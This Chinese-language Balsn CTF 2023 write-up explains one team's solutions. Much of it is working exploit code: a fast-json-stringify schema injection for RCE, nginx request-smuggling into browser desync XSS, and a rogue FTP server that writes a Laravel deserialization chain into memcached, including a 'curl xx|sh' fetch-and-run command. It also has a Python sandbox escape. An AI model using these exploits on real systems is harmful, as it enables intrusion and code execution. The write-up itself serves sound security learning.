Balsn CTF 2023 WriteUps

這次在 ${cYsTiCk} 參加了 Balsn CTF 2023 拿第三名,解了點題目,寫個 writeup 紀錄一下學到的東西。

crypto

Prime

這題有個自己實作的 AKS primality test,不過似乎在一些參數的地方沒選好所以可以 bypass。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import gmpy2
import random
from secret import FLAG

def main():
n = int(input("prime: "))

if n <= 0:
print("No mystiz trick")
elif n.bit_length() < 256 or n.bit_length() > 512:
print("Not in range")
elif not is_prime(n):
print("Not prime")
else:
x = int(input("factor: "))

if x > 1 and x < n and n % x == 0:
print("You got me")
print(FLAG)
else:
print("gg")

def is_prime(n):
# check if n = a^b for some a, b > 1
for i in range(2, n.bit_length()):
root, is_exact = gmpy2.iroot(n, i)
if is_exact:
return False

rs = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]
return all(test(n, r) for r in rs)

def test(n, r):
"""
check whether `(x + a) ^ n = x ^ n + a (mod x ^ r - 1)` in Z/nZ for some `a`.
"""
R.<x> = Zmod(n)[]
S = R.quotient_ring(x ^ r - 1)

a = 1 + random.getrandbits(8)
if S(x + a) ^ n != S(x ^ (n % r)) + a:
return False
return True

if __name__ == "__main__":
main()

我是亂試發現只要 是 carmichael number (),且 的話 test(n, r) 就會過。然後參考這篇中生成 carmichael number 的方法生成就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rs = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]
P = prod(rs)

while True:
k = randint(2**10, 2**20)
a = 6 * k + 1
b = 12 * k + 1
c = 18 * k + 1
if is_pseudoprime(a) and is_pseudoprime(b) and is_pseudoprime(c):
n = a * b * c
print(n)
print(a, b, c)
break
# BALSN{th3_imp1_15_bR0k3n_4nd_mUch_sL0W3r_tH4n_pycrypto_is_prime_qwq}

這個在數學上很不嚴謹的推導是這樣的:

的話 ,所以

不過實際上這並不對於所有 carmichael number 成立,例如 就是個反例。我後來想了一下發現說 下雖然是兩個長的不一樣的 ,但可以發現它們對所有的 取值都相等,這符合 carmichael number 的定義。然而 ,所以它不一定正確,這部分可以由以下的 sage 驗證:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
r = 5
n = 29341
assert n % r == 1
a = 87
R.<x> = Zmod(n)[]
S = R.quotient_ring(x ^ r - 1)
f = (x + a) ^ n
g = x + a
for i in range(0, n):
assert f(i) == g(i)

f = (S(x + a) ^ n).lift()
g = (S(x) + a).lift()
for i in range(0, n):
assert f(i) == g(i) # not true

不過我既然能用前面的解法解了這題,代表 中肯定有某些成立的條件的。而它實際的成立條件是 ,其中 的分解。詳細證明可以參考這篇 的 Chapter 3。

Many-Time-QKD

總之這題有個類似 BB84 的 QKD,而有兩個 party alice 和 bob,alice 對 bob 傳遞訊息。而它每次傳遞的時候我們可以選擇要監聽哪些 qubits,而最後如果 ber 超過 0.1 的話就會用 shared key 加密 flag,然後結束流程。所以這邊如果要重複用 oracle 的話需要讓 ber 小於 0.1。

題目最主要的問題點在於 alice 選的 seed (隨機 bit) 在每次 oracle 是固定的,然後做一些測試可以發現觀測到的 bit 和 alice 的 seed 有很高的正相關性。這我不是很清楚實際上的原因是什麼,但我猜是和 alice bob 所用的 pauli basis 有關:

1
2
3
4
5
6
7
PAULI_BASES = [Basis(Qubit([1+0j, 1+0j])), Basis(Qubit([1+0j, 0+0j]))]
THETA = np.pi/8
MAGIC_QUBIT = Qubit([np.cos(THETA)+0j, np.sin(THETA)+0j])
MAGIC_BASIS = Basis(MAGIC_QUBIT)

# alice bob bases: PAULI_BASES
# eve basis: MAGIC_BASIS

自己測試一下把 alice bob 用的 basis 換成原本的 rectilinear basis 就會發現這個 bias 消失了。

總之既然有個 bias 存在,就先選一部份的 qubits 避免 ber 太高,重複多次之後可以看哪個 bit 比較常出現就能得到一部份的 alice seed,重複這個操作直到得到完整的 alice seed,然後最後讓它加密 flag 時會提供 alice bob 雙方共同的 basis,所以可以求出 key 解得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import process, remote
import numpy as np
from Crypto.Cipher import AES
import bitstring

n = 768
# io = process(["python", "problem/main.py"])
io = remote("guessq.balsnctf.com", 1258)


def oracle(to_observe):
io.recvuntil(b"transmitted.]\n")
s = "".join([str(i) for i in to_observe])
io.sendline(s.encode())
bits = list(io.recvlineS().strip())
same_index = [int(x) for x in io.recvlineS().strip().split(",")]
return bits, same_index


# for some unknown reason, P(observed[i] == p1.seed[i]) is high
# and p1.seed is completely static
# so we use statistical attack to recover p1.seed
p1seed = []
chunks = 4 # to ensure ber < 0.1, or server will terminate the connection
T = 20
for i in range(chunks):
print(i)
arr = []
for _ in range(T):
query = [0] * n
sli = slice(i * (n // chunks), (i + 1) * (n // chunks))
query[sli] = [1] * (n // chunks)
bits, _ = oracle(query)
arr.append([int(x) for x in bits[sli]])
arr = np.array(arr)
p1seed += [int(x) for x in arr.sum(axis=0) > T // 2]
print("".join([str(x) for x in p1seed]))


io.recvuntil(b"transmitted.]\n")
io.sendline(b"1" * n)
io.recvline()
same_index = [int(x) for x in io.recvlineS().strip().split(",")]
key = bitstring.BitArray([p1seed[i] for i in same_index])
print(len(key), key)

io.recvline()
ct = bytes.fromhex(io.recvlineS().strip())
nonce = bytes.fromhex(io.recvlineS().strip())
print(ct, nonce)
key_in_bytes = key[0:256].tobytes()
cipher = AES.new(key_in_bytes, AES.MODE_EAX, nonce=nonce)
print(cipher.decrypt(ct))
# BALSN{I_giV3_Y0u_kEy_because_y0u_are_sOO00_smarT}

web

0FA

這題要用指定的 TLS fingerprint (JA3) 去發送某個 request,所以找了一個可以偽造 JA3 的 library 就搞定了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const initCycleTLS = require('cycletls')
// Typescript: import initCycleTLS from 'cycletls';

;(async () => {
// Initiate CycleTLS
const cycleTLS = await initCycleTLS()

// Send request
const response = await cycleTLS(
'https://0fa.balsnctf.com:8787/flag.php',
{
body: 'username=admin',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
ja3: '771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0',
userAgent: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0'
},
'post'
)

console.log(response)

// Cleanly exit CycleTLS
cycleTLS.exit()
})()
// BALSN{Ez3z_Ja3__W4rmUp}

SaaS

首先第一步要 bypass nginx reverse proxy 的檢查:

1
2
3
4
5
6
7
8
9
10
11
server {
listen 80 default_server;
return 404;
}
server {
server_name *.saas;
if ($http_host != "easy++++++") { return 403 ;}
location ~ {
proxy_pass http://backend:3000;
}
}

可以知道 server_name 要求要 .saas 結尾才行,但如果 Host 不是 easy++++++ 的話就會被擋掉。如果有 https 的話我認為可以用 TLS SNI 和 Host 不同繞過 (a.k.a. domain fronting),不過這邊我沒想法。

後來隊友 @lebr0nli 提到說 nginx 的 request line 中 path 部分其實可以塞完整的 url 的 quirk,所以這樣可以繞過:

1
2
GET http://a.saas/ HTTP/1.1
Host: easy++++++

而 backend 是個 node.js 的程式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const validatorFactory = require('@fastify/fast-json-stringify-compiler').SerializerSelector()()
const fastify = require('fastify')({
logger: true,
})
const {v4: uuid} = require('uuid')
const FLAG = 'the old one'
const customValidators = Object.create(null, {}) // no more p.p.
const defaultSchema = {
type: 'object',
properties: {
pong: {
type: 'string',
},
},
}
fastify.get(
'/',
{
schema: {
response: {
200: defaultSchema,
},
},
},
async () => {
return {pong: 'hi'}
}
)
fastify.get('/whowilldothis/:uid', async (req, resp) => {
const {uid} = req.params
const validator = customValidators[uid]
if (validator) {
return validator({[FLAG]: 'congratulations'})
} else {
return {msg: 'not found'}
}
})

fastify.post('/register', {}, async (req, resp) => {
// can only access from internal.
const nid = uuid()
const schema = Object.assign({}, defaultSchema, req.body)
customValidators[nid] = validatorFactory({schema})
return {route: `/whowilldothis/${nid}`}
})
fastify.listen({port: 3000, host: '0.0.0.0'}, function (err, address) {
if (err) {
fastify.log.error(err)
process.exit(1)
}
// Server is now listening on ${address}
})

上面的 FLAG 真的是 old flag,真正的 flag 在 /flag,所以要 RCE。

這邊最主要的問題是我們可以自己決定 schema,而 @fastify/fast-json-stringify-compiler 底下用的是 fast-json-stringify,在裡面可以找到很多個 code injection 的點,例如 required

所以就用 schema 裡面塞 code injection 就 RCE 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import remote
import json


def do_request(req: bytes):
io = remote("saas.balsnctf.com", 8787)
io.send(req)
return io.recvall()


body = json.dumps(
{
"type": "object",
"required": [
"*/'+/*+'])1;return process.mainModule.require('fs').readFileSync('/flag').toString()//"
],
}
)
req = f"POST http://a.saas/register HTTP/1.0\r\nContent-Type: application/json\r\nContent-Length: {len(body)}\r\nHost: easy++++++\r\n\r\n{body}"
resp = do_request(req.encode()).partition(b"\r\n\r\n")[2]
j = json.loads(resp.decode())
print(j)

req = f'GET http://a.saas{j["route"]} HTTP/1.0\r\nHost: easy++++++\r\n\r\n'
print(do_request(req.encode()))
# BALSN{N0t_R3al1y_aN_u3s_Ca53}

*1linenginx

這題不是我一個人解的,是包含隊友 @lebr0nli@splitline 的幫忙才弄出來的

這提就真正是字面上的只有一行 nginx config,目標是 XSS。

1
server { root /usr/share/nginx/html; if ($host !~ [\<\>\'\"\`\&\;\\\/\?\#\$]) { set $rhost $host; } error_page 404 =200 http://$rhost/;}

單從這邊可能看不出有什麼問題,不過看 docker compose 可知它用 nginx:1.16,顯然是個很舊的 nginx 版本。查一下可以找到 CVE-2019-20372,nginx error_page 的 request smuggling:

1
2
3
4
5
6
GET /a HTTP/1.1
Host: localhost
Content-Length: 56

GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

然後我測試了一下發現確實有,然後也在 client side 測出可以這麼觸發:

1
2
3
4
5
6
7
8
9
10
11
12
window.onload = () => {
const target = 'http://localhost:80/x'
const form = document.createElement('form')
form.method = 'POST'
form.action = target
form.enctype = 'text/plain'
const inp = document.createElement('input')
inp.name = `GET /hello HTTP/1.0\r\nHost: hello\r\n\r\n`
form.appendChild(inp)
document.body.appendChild(form)
form.submit()
}

然後也確實可以在 nginx log 看到 GET /hello,不過 chrome 會因為前面的原本的 request 302 redirect 早就 redirect 走了,看不到 response。

這個問題就讓我想到 client side desync,所以就在 Browser-Powered Desync Attacks: A New Frontier in HTTP Request SmugglingAkamai - stacked HEAD 那個 case 很像。

這類攻擊的大致概念就是透過 fetch 觸發 desync,然後 request 一完成之後馬上就要 location = '...',讓它 reuse 同個 socket,這樣前面 request smuggle 的 response 就會被瀏覽器當成後面 request 的 response,這樣就有機會利用。

而這題的情況因為是 redirect,所以參考那篇文章,要用 fetch 設定為 cors mode,這樣 redirect 時就會觸發 cors exception,然後 catch 就會馬上觸發,在那個地方做 location = '...' 比較好利用。

但實際操作會遇到一個問題是 chrome 在接收到第一個 response 時會檢查有沒有多餘的資料,如果有多餘的資料 chrome 就會自動關閉那個 connection,這也是文章中說的 stacked-response problem。解決這個問題的辦法是讓你 smuggle 的那個 request 想辦法透過某些方法讓它產生延遲,而在這題的場景下發現說只要 path 存在,然後是 POST 且 body 沒 Content-Length 長就會有個延遲:

1
2
printf 'GET /x HTTP/1.1\r\nHost: aasd\r\nContent-Length: 22\r\n\r\nPOST / HTTP/1.0\r\nHost: hello\r\nContent-Length: 1\r\n\r\n' | nc 1linenginx.balsnctf.com 80
# there is a visible delay between the first and the second response

之後做了些嘗試發現這個 js 在可以成功觸發 405

1
2
3
4
5
6
fetch('http://1linenginx.balsnctf.com/x', {
method: 'POST',
body: `POST / HTTP/1.0\r\nContent-Length: 100\r\nHost: asd\r\n\r\n`,
mode: 'no-cors',
credentials: 'include'
})
devtool showing http 405 for the redirect

可見瀏覽器在 redirect 的時候是 reuse 同個連線,所以 302 redirect 的第二個 request 的 response 就變成了我們 smuggled request 的回應了 (405)。

所以我就把它改一下變成:

1
2
3
4
5
6
7
8
9
10
11
12
window.onload = () => {
const target = 'http://1linenginx.balsnctf.com/x'
const form = document.createElement('form')
form.method = 'POST'
form.action = target
form.enctype = 'text/plain'
const inp = document.createElement('input')
inp.name = `POST / HTTP/1.0\r\nContent-Length: 100\r\nHost: asd\r\n\r\n`
form.appendChild(inp)
document.body.appendChild(form)
form.submit()
}

發現它有些時候會變成是在 redirect 之後的 http://1linenginx.balsnctf.com/ 顯示 405 Not Allowed,有些時候不會。多做了一些測試發現只要是新的 chrome profile/incognito 的第一個 request 都會是 405,但後續短時間內重複測試就會失敗 (正常顯示 nginx welcome page)。不過一個 chrome instance 放久一點後再測一次又會成功 (405),所以我就猜測是和 chrome 的 connection pool 有關。這部分每次在做實驗前到 chrome://net-internals/#sockets 去按 Flush socket pools 就能證實了。

那這樣要怎麼利用呢? 這個其實原本的文章就有說可以用 HEAD request,因為 HEAD 的回應會帶有 Content-Length 等相關資料卻沒有 body,所以我們如果在後面多 smuggle 一個 request 就會發現這個的 response 會被 chrome 當成是 response body 了。

因此:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
window.onload = () => {
const target = 'http://1linenginx.balsnctf.com/x'
const form = document.createElement('form')
form.method = 'POST'
form.action = target
form.enctype = 'text/plain'
const inp = document.createElement('input')
inp.name = `HEAD / HTTP/1.1\r
Host: asd\r
Content-Length: 100\r
\r
GET /x HTTP/1.1\r
Host: konpeko\r
\r
`
form.appendChild(inp)
document.body.appendChild(form)
form.submit()
}

會顯示出

http response header displayed on the page

可見 konpeko 被 reflect 到頁面上了,然而這邊有個困難點在於前面 nginx config 要求 Host 不能有那些 html 相關的特殊字元,所以要找方法繞。

這邊的關鍵是利用原本 nginx welcome page 是 html 的特性,透過 range request 去湊一個 <body garbage ,然後我們在那後面多一個 onload=... 就會被當作 attribute XSS。最後湊一湊會變成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
name = 'console.log(document.domain)'
window.onload = () => {
const target = 'http://1linenginx.balsnctf.com/x'
const form = document.createElement('form')
form.method = 'POST'
form.action = target
form.enctype = 'text/plain'
const inp = document.createElement('input')
inp.name = `HEAD / HTTP/1.1\r
Host: 0\r
\r
GET / HTTP/1.1\r
Host: 0\r
Range: bytes=207-211\r
\r
GET /x HTTP/1.0\r
Host: autofocus tabindex=1 onfocus=eval(name) x`
form.appendChild(inp)
document.body.appendChild(form)
form.submit()
}
// BALSN{CL.0_XSS!W31rd_B3h4v10r_1n_Chrom3s_C0nn3ct10n_P00l..}

可以注意到這邊的 HEAD 沒有 Content-Length,這我也不知道為什麼不用加,在沒有延遲的情況下也會成功。反而加了 Content-Length 還會失敗...

*memes

這題我沒成功解出來,不過也算是很接近解答了,所以寫一下紀錄

這題是個 laravel 寫的網站,最核心部分的程式碼為:

1
2
3
4
5
6
7
8
9
10
$sampleImage = $request->input('image');
$image = imagecreatefrompng($sampleImage);
// do something to $image
$saveDir = str_replace(['memes/', '.png'], ['generated/', ''], $sampleImage);
if (!file_exists($saveDir)) {
mkdir($saveDir, 0777, true);
}
$imagePath = "$saveDir/" . bin2hex(random_bytes(8)) . '.png';
imagepng($image, $imagePath);
imagedestroy($image);

簡單來說它會從你指定的地方讀圖片進來,然後做一些處理,最後再輸出。輸出的 path 也是部分程度可控的。

既然這是 php,那個 $sampleImage 可以是 php://filter/...,也可以是 http://, data: 等等,但大部分都不是很能利用,因為最後的 $imagePath 也是要可寫的地方,不然它就會 error。

其中一個支援的東西是 ftp://,它會連上 ftp 拿檔案,而輸出時一樣是會透過 ftp 存檔案。而 ftp 在讀取或是存檔案時常用的 passive mode 就是 server 告訴 client 一個 ip + port,然後 client 對那個 ip port 發起 tcp 連線,然後從那邊讀取或是寫入資料。因此如果你讓 ftp server 是自己可控的話,是能讓它對任意的 ip port 發起連線,並寫入 png 資料的,也就是一個只可寫的 ssrf。

而這題 laravel 的 session backend 使用的是 memcached,且 docker compose 還固定了 subnet:

1
2
3
4
5
6
7
networks:
default:
driver: bridge
ipam:
driver: default
config:
- subnet: 10.87.0.1/16

實際跑起來會知道 memcached 容器的 ip 就是 10.87.0.2,所以用 ssrf 寫 memcached 是很可行的,之後應該就是串反序列化 RCE。這部分我測試發現 phpggc 的 Laravel/RCE15 在 laravel 10 上還是可用的,所以並不是個問題。

不過這邊有個問題是 memcached 要寫哪個 key,因為 laravel session id 是存在 cookie 中的,而預設它還有一層 encrypted cookie middleware 包著,所以 cookie 中的 laravel_session 中值都是加密的,所以不知道 session id 是什麼,也就無從知道我們的 session 在 memcached 中的 key 是什麼。

這部分據題目作者所說是可以透過 php filter error oracle 做的。這我雖然有想到,但沒辦法分辨 server 端不同的 500 是什麼來源造成的,所以沒做出來。

這是我的自訂 ftp server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
import threading
import subprocess
from base64 import b64encode
import os

TARGET_FILE = "a.png"
def generate():
key = os.urandom(4).hex()
key = 'laravel_cache_:it31ULY6F4SLii0wsaUUUTktYjjoCwrLQEWpZdRq'

chain = subprocess.check_output(['php', '/home/maple3142/workspace/phpggc/phpggc', 'Laravel/RCE15', 'system', '/readflag --give-me-the-flag > /var/www/meme-maker/p*/g*/glaf']).decode().strip()
chain = subprocess.check_output(['php', '/home/maple3142/workspace/phpggc/phpggc', 'Laravel/RCE15', 'system', 'curl xx|sh']).decode().strip()
print(chain, len(chain))
assert isinstance(chain, str)

# https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html#:~:text=payloads/generators/generate_plte_png.php
# modified to accept base64 encoded payload
assert subprocess.check_output(
["php", "gen.php", b64encode(f"\r\nset {key} 0 0 {len(chain)}\r\n{chain}\r\nquit\r\n".encode()).decode(), TARGET_FILE]
) == b""

context.log_level = "debug"

SRV_PORT = 3535
# TARGET = "127.0.0.1"
TARGET = "10.87.0.2"
TARGET_PORT = 11211

DATA_PORT = 3536
PUBLIC_IP = "???"




def data_thread():
srv = listen(DATA_PORT)
srv.wait_for_connection()
with open(TARGET_FILE, "rb") as f:
srv.send(f.read())
srv.close()

generate()
def handle(srv):
is_retr = False
srv.send(b"220 welcome\n")
while True:
cmd, *args = srv.recvline().strip().split(b" ")
if cmd == b"USER":
srv.send(b"331 Please specify the password.\n")
elif cmd == b"PASS":
srv.send(b"230 Login successful.\n")
elif cmd == b"CWD":
srv.send(b"250 Okay.\n")
elif cmd == b"TYPE":
srv.send(b"200 Switching\n")
elif cmd == b"SIZE":
if args[0].endswith(b'/' + TARGET_FILE.encode()):
is_retr = True
with open(TARGET_FILE, "rb") as f:
ln = len(f.read())
srv.send(f"213 {ln}\n".encode())
else:
is_retr = False
srv.send(b"550 NO\n")
elif cmd == b"RETR":
srv.send(b"150 Opening data connection.\n")
time.sleep(1)
srv.send(b"250 Ok\n")
elif cmd == b"PWD":
srv.send(b'257 "/"\n')
elif cmd == b"EPSV":
srv.send(b"250 ok\n")
elif cmd == b"PASV":
if is_retr:
threading.Thread(target=data_thread).start()
ip = PUBLIC_IP.replace(".", ",")
srv.send(
f"227 Entering Passive Mode ({ip},{DATA_PORT//256},{DATA_PORT%256})\n".encode()
)
else:
ip = TARGET.replace(".", ",")
srv.send(
f"227 Entering Extended Passive Mode ({ip},{TARGET_PORT//256},{TARGET_PORT%256})\n".encode()
)
elif cmd == b"STOR":
srv.send(b"150 Opening data connection.\n")
time.sleep(2)
srv.send(b"250 Ok\n")
# srv.send(b"150 no\n")
else:
# including QUIT
srv.send(b"221 Goodbye.\n")
srv.close()
break
while True:
srv = listen(SRV_PORT)
srv.wait_for_connection()
threading.Thread(target=handle, args=(srv,)).start()

實際讓它寫 memcached 的 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from bs4 import BeautifulSoup

target = "http://localhost:5000"
# target = "http://memes.balsnctf.com"
ftpurl = "ftp://????:3535/a.png"

sess = requests.Session()

soup = BeautifulSoup(sess.get(f"{target}/?image=a").text, "html.parser")
token = soup.select_one("input[name=_token]")["value"]

r = sess.post(
f"{target}/make",
data={
"_token": token,
"image": ftpurl,
"texts[0][text]": "Hello World",
"texts[0][x]": "1000",
"texts[0][y]": "1000",
"texts[0][size]": "0",
"texts[0][color]": "#000000",
"texts[0][angle]": "0",
},
allow_redirects=False,
)
print(r.headers)
print(r.text)

reverse

Lucky

總之逆完可知它大概像個 repeated key xor cipher,len(key)=16。直接拿已知 flag format 去弄得到 key 開頭為 141592,所以我就猜它是 的小數部分,直接拿來 xor 就解了:

1
2
3
4
5
6
7
8
9
10
11
def xor(x, y):
return bytes([a ^ b for a, b in zip(x, y)])

# fmt: off
data = [0x73, 0x75, 0x7D, 0x66, 0x77, 0x49, 0x5A, 0x60, 0x50, 0x7E, 0x67, 0x08, 0x44, 0x66, 0x40, 0x02, 0x5E, 0x7B, 0x01, 0x7A, 0x66, 0x03, 0x5B, 0x65, 0x03, 0x47, 0x0F, 0x0D, 0x59, 0x4D, 0x6C, 0x5B, 0x7F, 0x6B, 0x52, 0x02, 0x7F, 0x13, 0x15, 0x48, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0x6F, 0xF2, 0x86, 0x23, 0x00, 0x00, 0xE1, 0xF5, 0x05, 0x00, 0x00, 0x00, 0x00]
# fmt: on

# print(xor(data, b'BALSN{'))
key = b'14159265358979323846'[:16]
print(xor(data, key * 10))
# BALSN{lUcK_1s_s0oO0O_1mP0r74nt_iN_c7F!#}

misc

Web3

要過下面這個驗證:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}

app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}

const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}

res.send("wrong");
return;
});

總之 message 不能長的像 addrss,然後會透過 ethers.verifyMessage 透過 message 和 signature 取得 public key 的 address,然後和 ethers.getAddress(message) 比較。

總之我進去看 ethers.getAddress 發現有種東西叫做 ICAP address,算是 address 的另類表示法。所以就自己 local 生一個 keypair,然後把 address 轉成 ICAP address 當作 message,之後再 sign 得到 signature 即可。

1
2
3
4
5
6
7
8
9
10
11
12
const ethers = require("ethers")

const wallet = ethers.Wallet.createRandom()
const icapAddress = ethers.getIcapAddress(wallet.address)
console.log(icapAddress)

const message = icapAddress
const signature = wallet.signMessageSync(message)
console.log(message, signature)

// curl 'http://web3.balsnctf.com:3000/exploit' -d 'message=XE28880YVE0HIILVYZ28VC799QN3DT5WBSE' -d 'signature=0x45361bb7ba3003c02081471d0ea5358181ba547d43570cd730cc3d6f3574b98b3627c069f1a78cc3a7db4b26d4c25419a4d4f095a10a23fb88668ecb6d08fa7f1c'
// BALSN{Inter_Exchange_Client_Address_Protocol}

pycthon

總之它有個神奇的模改版 python binary,然後跑這個 script:

1
2
3
4
5
6
7
#!/usr/bin/python3 -u
with open('/home/ctf/flag') as f:
flag = f.read()
payload = input(">>> ")
set_dirty(flag)
sandbox()
eval(payload)

sandbox 裡面做的事就是上 seccomp,限制只能 read from 0write to 1,2 而已。而 set_dirty 是讓 flag 不能被當作參數傳到其他函數中的神奇功能。

set_dirty 我發現說可以很容易的用 flag.encode() 繞過,但是不知道為什麼都 print 不出來,所以我沒辦法直接 print。不過可觀察到它有 exception 時有不同的輸出,所以可以直接 char by char 去猜 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import process, remote, context
import string

context.log_level = "error"


def tmpl(idx, char):
return f"""(f:=flag.encode(),1/0 if f[{idx}]==b'{char}'[0] else 0)"""


def oracle(idx, char):
# io = process(["./python", "x.py"])
io = remote("pycthon.balsnctf.com", 17171)
io.sendline(tmpl(idx, char).encode())
return b"except" in io.recvall()


chars = "{}_" + string.digits + string.ascii_letters
flag = "BALSN{"
while not flag.endswith("}"):
for char in chars:
if oracle(len(flag), char):
flag += char
print(flag)
break
else:
print("fail")
break
# BALSN{4_qu1ck_4nd_d127y_1n720duc710n_70_3x732102_c41cu1u5}

賽後有從 @Crazyman 那邊知道說可以透過 os.write 搞定,直接 print flag 出來:

1
__builtins__.__loader__.load_module.__globals__['sys'].modules['os'].write(1, flag.encode())